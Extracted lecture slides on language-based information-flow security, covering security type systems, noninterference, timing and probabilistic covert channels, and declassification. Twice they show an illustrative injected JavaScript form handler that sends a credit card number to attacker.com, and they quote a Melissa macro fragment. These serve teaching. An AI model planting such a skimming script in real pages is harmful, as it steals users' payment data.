Language-based security

Andrei Sabelfeld
Chalmers

http://www.cse.chalmers.se/~andrei

SSSEV Moscow, July 2011
Payment information

Please provide payment information to confirm your shipment.

- Apply charges to my Freightquote.com account.
- PayPal
- I would like to pay by credit card.

Card name:
Card number:
Expiration date:
Name on card:

Pay for shipment
<!-- Input validation -->
<form name="cform" action="script.cgi" method="post" onsubmit="return sendstats ();">  
<script type="text/javascript">
function sendstats () {

</script>
Pay for shipment

</form>
Attack

- Root of the problem: information flow from secret to public

```javascript
<script type="text/javascript">
function sendstats () {
new Image().src=
  "http://attacker.com/log.cgi?card="+
  encodeURI(form.CardNumber.value);
}</script>
```
Root of problem: information flow
Origin-based restrictions

- Often too restrictive
Relaxing origin-based restrictions

- Introduces security risks
- Cf. SOP
Information flow controls

Browser

DOM tree

Script

Internet
Information flow controls

Browser

DOM tree

Internet

Script
Need for information release (declassification)
Information flow problem

• Studied in 70’s
  • military systems
• Revival in 90’s
  • mobile code
• Hot topic in language-based security in 00’s
  • web application security

```
if secret
    public := 1
else
    public := 0

print(public)
```

Insecure even when “then” branch not taken – implicit flow

```html
<!-- Input validation -->
<form name="cform" action="script.cgi" method="post" onsubmit="return sendstats();">
  <script type="text/javascript">
    function sendstats () {
      new Image().src="http://attacker.com/log.cgi?card=" + encodeURI(form.CardNumber.value);
    }
  </script>
</form>
```
Course outline

1. Language-Based Security: motivation
2. Language-Based Information-Flow Security: the big picture
3. Dimensions and principles of declassification
4. Dynamic vs. static security enforcement
General problem: malicious and/or buggy code is a threat

- Trends in software
  - mobile code, executable content
  - platform-independence
  - extensibility
- These trends are attackers’ opportunities!
  - easy to distribute worms, viruses, exploits,...
  - write (an attack) once, run everywhere
  - systems are vulnerable to undesirable modifications
- Need to keep the trends without compromising information security
Today’s computer security mechanisms: an analogy
Today’s attacker: an analogy
Brief history of malicious code

- 1980's: Trojan hoarse, viruses (must be compact to keep to small volumes of the media)
- 1992: Web arrives
- 1995: Java and JavaScript introduce widespread mobile code
- 1999: Melissa
- 2000: Love Bug ($10bln damage)
- 2001: AnnaKournikova worm
- 2001: Code Red
- 2002: MS-SQL Slammer (published by MS)
- 2003: Blaster
- 2005: Samy (MySpace worm, >1M pages in 20h)
Defense against Malicious Code

- **Analyze** the code and reject in case of potential harm
- **Rewrite** the code before executing to avoid potential harm
- **Monitor** the code and stop before it does harm (e.g., JVM)
- **Audit** the code during executing and take policing action if it did harm
Promising New Defenses via Language-Based Security 1

- **Static certification** e.g. type systems
Promising New Defenses via Language-Based Security 2

- **Proof-carrying code**

  - produce and analyze
  - code + proof
  - logical certificate that asserts validity of the code
  - verify against a trusted logical framework
  - verify
  - deploy
  - reject
  - code consumer
Promising New Defenses via Language-Based Security

- Software-based reference monitors

produce

instrument → deploy and monitor

Add policy specific monitoring code

code consumer
Computer Security

• The CIA
  – Confidentiality
  – Integrity
  – Availability

• years of theory & formal methods
• revival of interest: Mobile Code
Information security: confidentiality

- Confidentiality: sensitive information must not be leaked by computation (non-example: spyware attacks)
- **End-to-end confidentiality**: there is no insecure *information flow* through the system
- Standard security mechanisms provide no end-to-end guarantees
  - Security policies too low-level (legacy of OS-based security mechanisms)
  - Programs treated as black boxes
Confidentiality: standard security mechanisms

Access control
+ prevents “unauthorized” release of information
- but what process should be authorized?

Firewalls
+ permit selected communication
- permitted communication might be harmful

Encryption
+ secures a communication channel
- even if properly used, endpoints of communication may leak data
Confidentiality: standard security mechanisms

Antivirus scanning
+ rejects a “black list” of known attacks
- but doesn’t prevent new attacks

Digital signatures
+ help identify code producer
- no security policy or security proof guaranteed

Sandboxing/OS-based monitoring
+ good for low-level events (such as read a file)
- programs treated as black boxes
⇒ Useful building blocks but no end-to-end security guarantee
Confidentiality: language-based approach

- Counter application-level attacks at the level of a programming language—look inside the black box! Immediate benefits:
  - **Semantics-based security specification**
    - End-to-end security policies
    - Powerful techniques for reasoning about semantics
  - **Program security analysis**
    - Analysis enforcing end-to-end security
    - Track information flow via security types
    - Type checking can be done dynamically and statically
Dynamic security enforcement

Java’s sandbox, OS-based monitoring, and Mandatory Access Control dynamically enforce security policies; But:

```
h := ...;
l := false;
if h then l := true
else skip;
out(l)
```

(high(secret) \rightarrow low(public))

Problem: insecure even when nothing is assigned to `l` inside the if!
Static certification

• Only run programs which can be statically verified as secure before running them
• Static certification for inclusion in a compiler [Denning&Denning’ 77]
• Implicit flow analysis
• Enforcement by security-type systems
Security type system

- Prevents explicit flows:

- Prevents implicit flows; no public side effects when branching on secrets:

```plaintext
if e then
  ...
  may not assign to l

while e do
  ...
  may not assign to l
```

may not use high variables
A security-type system

Expressions:

\[ \text{exp} : \text{high} \]

\[ h \notin \text{Vars} (\text{exp}) \]

\[ \text{exp} : \text{low} \]

Atomic commands (pc represents context):

\[ [\text{pc}] \vdash \text{skip} \]

\[ [\text{pc}] \vdash h := \text{exp} \]

\[ exp : \text{low} \]

\[ [\text{low}] \vdash l := exp \]

context
A security-type system: Compositional rules

\[
\begin{align*}
\text{[high]} & \vdash C \\
\text{[low]} & \vdash C \\
\text{[pc]} & \vdash C_1 \quad \text{[pc]} \vdash C_2 \\
\text{[pc]} & \vdash C_1; \ C_2
\end{align*}
\]

\[
\begin{align*}
\text{exp:pc} & \quad \text{[pc]} \vdash C_1 \quad \text{[pc]} \vdash C_2 \\
\text{[pc]} & \vdash \text{if exp then } C_1 \text{ else } C_2
\end{align*}
\]

\[
\begin{align*}
\text{exp:pc} & \quad \text{[pc]} \vdash C \\
\text{[pc]} & \vdash \text{while exp do } C
\end{align*}
\]

implicit flows: branches of a high if must be typable in a high context
A security-type system: Examples

[low] ⊨ h:=l+4; l:=l-5

[pc] ⊨ if h then h:=h+7 else skip

[low] ⊨ while l<34 do l:=l+1

[pc] ⊨ while h<4 do l:=l+1
Type Inference: Example

\[
\begin{align*}
\text{[high]} & \vdash h := h + 1 \\
\text{[low]} & \vdash l := 5, \ [\text{low}] \vdash l := 3, \ l = 0: \text{low} \\
\text{[low]} & \vdash h := h + 1 \\
\text{[low]} & \vdash \text{if } l = 0 \text{ then } l := 5 \text{ else } l := 3 \\
\text{[low]} & \vdash h := h + 1; \text{ if } l = 0 \text{ then } l := 5 \text{ else } l := 3
\end{align*}
\]
What does the type system guarantee?

• Type soundness:

Soundness theorem:

\[ [pc] \vdash C \implies C \text{ is secure} \]
Semantics-based security

• What end-to-end policy such a type system guarantees (if any)?
• Semantics-based specification of information-flow security [Cohen’ 77], generally known as noninterference [Goguen&Meseguer’ 82]:

A program is secure iff high inputs do not interfere with low-level view of the system
Confidentiality: assumptions (simplified)

- Simple security structure (easy to generalize to arbitrary lattices)
- Variables partitioned: high and low
- Intended security: low-level observations reveal nothing about high-level input:

```
Private Sub Document_Open()
    On Error Resume Next
    If System.Runtime.InteropServices.ComObject("",
        "HKEY_CURRENT_USER\...
            "WORD/Melissa
```
Confidentiality for sequential programs: noninterference

• Noninterference [Goguen & Meseguer]: as high input varied, low-level outputs unchanged

\[ C : \text{Int} \times \text{Int} \rightarrow (\text{Int} \times \text{Int}) \]

• How do we formalize noninterference in terms of program semantics?
Semantics-based security

- Semantics-based security for C: as high input varied, low-level behavior unchanged:

\[ \forall \text{mem, mem'}. \text{mem} =_{L} \text{mem'} \Rightarrow [C] \text{mem} \approx_{L} [C] \text{mem'} \]

Low-memory equality: \((h,l) =_{L} (h',l')\) iff \(l = l'\)

C's behavior: semantics \([C]\)

Low view \(\approx_{L}\): indistinguishability by attacker

C is secure iff

\[ \forall \text{mem}_1, \text{mem}_2. \text{mem}_1 =_{L} \text{mem}_2 \Rightarrow [C] \text{mem}_1 \approx_{L} [C] \text{mem}_2 \]
Semantics-based security

- What is $\approx_L$ for our language?
- Depends on what the attacker can observe
- For what $\approx_L$ does the type system enforce security ($[\text{pc}] \vdash C \Rightarrow C \text{ is secure}$)? Suitable candidate for $\approx_L$:

  $$\text{mem} \approx_L \text{mem’} \iff \text{mem} \neq \bot \neq \text{mem’} \Rightarrow \text{mem} =_L \text{mem’}$$
## Confidentiality: Examples

<table>
<thead>
<tr>
<th>Code</th>
<th>Security Level</th>
<th>Typability</th>
</tr>
</thead>
<tbody>
<tr>
<td>(l:=h)</td>
<td>insecure (direct)</td>
<td>untypable</td>
</tr>
<tr>
<td>(l:=h; \ l:=0)</td>
<td>secure</td>
<td>untypable</td>
</tr>
<tr>
<td>(h:=l; \ l:=h)</td>
<td>secure</td>
<td>untypable</td>
</tr>
<tr>
<td>if  (h=0) then  (l:=0) else (l:=1)</td>
<td>insecure (indirect)</td>
<td>untypable</td>
</tr>
<tr>
<td>while  (h=0) do skip</td>
<td>secure (up to termination)</td>
<td>typable</td>
</tr>
<tr>
<td>if  (h=0) then sleep (1000)</td>
<td>secure (up to timing)</td>
<td>typable</td>
</tr>
</tbody>
</table>
Evolution of language-based information flow

Before mid nineties two separate lines of work:

**Static certification**, e.g., [Denning&Denning’ 76, Mizuno&Oldehoeft’ 87, Palsberg&Ørbæk’ 95]

**Security specification**, e.g., [Cohen’ 77, Andrews&Reitman’ 80, Banâtre&Bryce’ 93, McLean’ 94]

Volpano et al.’ 96: First connection between noninterference and static certification: security-type system that enforces noninterference
Evolution of language-based information flow

Four main categories of current information-flow security research:

- Enriching language expressiveness
- Exploring impact of concurrency
- Analyzing covert channels (mechanisms not intended for information transfer)
- Refining security policies
Expressiveness

Static certification

Noninterference

Procedures

Sound security analysis

Functions

Exceptions

Objects

Expressiveness
Concurrency: Nondeterminism

- Possibilistic security: variation of $h$ should not affect the set of possible $l$
- An elegant equational security characterization [Leino&Joshi’00]: suppose HH ("havoc on $h$") sets $h$ to an arbitrary value; C is secure iff

$$\forall \text{mem.} [\text{HH}; C; \text{HH}]\text{mem} \simeq [C; \text{HH}]\text{mem}$$
Concurrency: Multi-threading

• **High** data must be protected at all times:
  – \( h := 0; \ l := h \) secure in isolation
  – but not when \( h := h' \) is run in parallel

• Attack may use scheduler to exploit timing leaks (works for most schedulers):

\[
\begin{align*}
&\text{if } h \text{ then sleep(1000)); } l := 1 \\
&\text{|| sleep(500); } l := 0
\end{align*}
\]

• A blocked thread may reveal secrets:

\[
\text{wait(h); } l := 1
\]

• Assuming a specific scheduler vulnerable
Concurrency: Multi-threading
[Sabelfeld & Sands]

- **Bisimulation**-based $\approx_L$ accurately expresses the observational power
- Timing- and probability-sensitive
- **Scheduler-independent** bisimulation (quantifying over all schedulers)
- **Strong security**: most accurate compositional security implying SI-security

**Benefits:**
- Timing and prob. channels
- Compositionality
- Scheduler-independence
- Security type system
Concurrency: Distribution

- Blocking a process: observable by other processes (also timing, probabilities,...)
- Messages travel over publicly observable medium; encryption protects messages’ contents but not their presence
- Mutual distrust of components
- Components (hosts) may be compromised/subverted; messages may be delayed/lost
Concurrency: Distribution

- An architecture for secure program splitting to run on heterogeneously trusted hosts [Zdancewic et al.’ 01, Zheng et al.’ 03]
- Type systems for secrecy for cryptographic protocols in spi-calculus [Abadi’ 97, Abadi&Blanchet’ 01]
- Logical relations for the low view [Sumii&Pierce’ 01]
- Interplay between communication primitives and types of channels [Sabelfeld&Mantel’ 02]
Covert channels: Termination

- Covert channels are mechanisms not intended for information transfer

Is while \( h > 0 \) do \( h := h + 1 \) secure?

- Low view \( \sim_L \) must match observational power (if the attacker observes (non)termination):

\[
\text{mem} \sim_L \text{mem}' \iff
\text{mem} = \bot = \text{mem}' \lor
(\text{mem} \neq \bot \neq \text{mem}' \land \text{mem} =_L \text{mem}')
\]
Covert channels: Timing

• Recall:

\[
\text{(if } h \text{ then sleep(1000)); } l := 1 \parallel \text{ sleep(500); } l := 0
\]

• Nontermination \( \approx_L \) time-consuming computation

• **Bisimulation**-based \( \approx_L \) accurately expresses the observational power
  [Sabelfeld&Sands’ 00, Smith’ 01]

• Agat’ s technique for transforming out timing leaks [Agat’ 00]
Example: $M^k \mod n$

```plaintext
s = 1;
for (i=0; i<w; i++){
    if (k[i])
        C = (s*M) mod n;
    else
        C = s;
    s = C*C;
}
```

No information flow to low variables, but entire key can be revealed by measuring timing

[Kocher’ 96]
Transforming out timing leaks

Branching on \textcolor{red}{high} causes leaks

\[
C = (s \times M) \mod n
\]

\[
k[i]
\]

\[
C = s
\]

53
Transforming out timing leaks

Cross-copy low slices

\[ C = (s \times M) \mod n \]

\[ C /= (s \times M) \mod n \]

Non-assignment
Covert channels: Probabilistic

- Possibilistically but not probabilistically secure program:
  \[ l := \text{PIN} \downarrow_{9/10} l := \text{rand}(9999) \]

- Timing attack exploits probabilistic properties of the scheduler:
  (if \( h \) then sleep(1000)); \( l := 1 \) || sleep(500); \( l := 0 \)
  resolved by uniform scheduler

- Probability-sensitive \( \approx_L \) by PERs
  [Sabelfeld&Sands’ 99]

- Probabilistic bisimulation-based security
  [Volpano&Smith’ 99, Sabelfeld&Sands’ 00, Smith’ 01,’ 03]
Security policies

• Many programs intentionally release information, or perform **declassification**
• Noninterference is restrictive for declassification
  – Encryption
  – Password checking
  – Spreadsheet computation (e.g., tax preparation)
  – Database query (e.g., average salary)
  – Information purchase
• Need support for declassification
Security policies: Declassification

• To legitimize declassification we could add to the type system:
  \[
  \text{declassify}(h) : \text{low}
  \]

• But this violates noninterference
• What’s the right typing rule? What’s the security condition that allows intended declassifications?

More on this later
Most recent highlights and trends

- Security-preserving compilation
  - JVM [Barthe et al.]

- Dynamic enforcement [Le Guernic]

- Cryptographic primitives [Laud]

- Web application security
  - SWIFT [Myers et al.]
  - NoMoXSS [Vogt et al.]
  - ...

- Declassification
  - dimensions [Sabelfeld & Sands]
  - ...

More on this later
Summary so far

- Security practices not capable of tracking information flow $\Rightarrow$ no end-to-end guarantees
- Language-based security: effective information flow security models (semantics-based security) and enforcement mechanisms
  - static analysis by security type systems
  - dynamic analysis by reference monitors
- Semantics-based security benefits:
  - End-to-end security for sequential, multithreaded, distributed programs
  - Models for timing and probabilistic leaks
  - Compositionality properties (crucial for compatibility with modular analyses)
  - Enforceable by security type systems and monitors
Information flow challenge

• Attack the system to learn the secret
• Type systems to break
  1. No restriction
  2. Explicit flows
  3. Implicit flows
  4. Termination
  5. Declassification
  6. Exceptions
  7. Let
  8. Procedures
  9. References
  10. Arrays

http://ifc.hvergi.net/
References

• Attacking malicious code: a report to the Infosec Research Council

• Language-based information-flow security
  [Sabelfeld & Myers, IEEE JSAC, 2003]